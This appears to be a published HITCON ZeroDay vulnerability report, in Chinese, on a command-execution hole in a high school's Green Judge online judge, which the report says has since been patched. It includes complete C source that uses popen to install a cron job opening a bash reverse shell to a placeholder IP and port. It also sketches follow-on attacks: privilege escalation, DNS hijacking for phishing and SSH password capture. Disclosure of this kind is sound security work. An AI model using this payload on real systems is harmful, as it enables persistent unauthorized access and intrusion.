Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2020-00877
- Vendor: TACERT台灣學術網路危機處理中心
- Title: 台中女中Green Judge(DNS)指令後門
- Introduction: 可利用popen指令開啟後門
處理狀態
目前狀態
公開
Last Update : 2020/10/20
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2020/10/13 13:15:39 : 新提交 (由 hahabox0 更新此狀態)
- 2020/10/13 23:42:26 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/10/15 12:12:38 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/10/15 12:12:38 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/10/16 12:51:18 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/10/16 14:52:06 : 確認已修補 (由 hahabox0 更新此狀態)
- 2020/10/20 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2020-00877
- 通報者:hahabox0 (hahabox0)
- 風險:高
- 類型:遠端命令執行 (Remote Code Execution)
參考資料
攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://www.tcgs.tc.edu.tw:1218/
敘述
概要
Green Judge 可直接執行popen指令
且沒有沙盒控制程式
機器服務包括DNS
若獲得root權限甚至
有可能獲得整個區域網路的權限
手法
C 執行popen指令
#include <stdio.h>
#include <string.h>
#define COMMAND_LENTH 32
int main(void) {
char CMBuf[ COMMAND_LENTH ]={0};
FILE *fpRead;
//shell command
char* command=(char*)"echo \"* * * * * /usr/local/bin/bash -c \'/usr/local/bin/bash -i >& /dev/tcp/{ip}/{port} 0>&1\'\">/home/tomcat/backdoor;crontab /home/tomcat/backdoor&&echo Hello!";
char* renewCh;
fpRead = popen(command, "r");
fgets(CMBuf, COMMAND_LENTH , fpRead);
if(fpRead != NULL)
pclose(fpRead);
renewCh=strstr(CMBuf,"\n");
if(renewCh)
*renewCh= '\0';
printf("%s\n", CMBuf);
return 0;
};
輸入指定ip即可獲得reverse shell
尚未確認
確認系統後發現系統已無更新三年
極有可能進行提權
且作為DNS可以直接把ip往自己的機器導向進行釣魚網站
或者擷取附近封包甚至錄製ssh進入密碼即可入侵所有學校網站
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。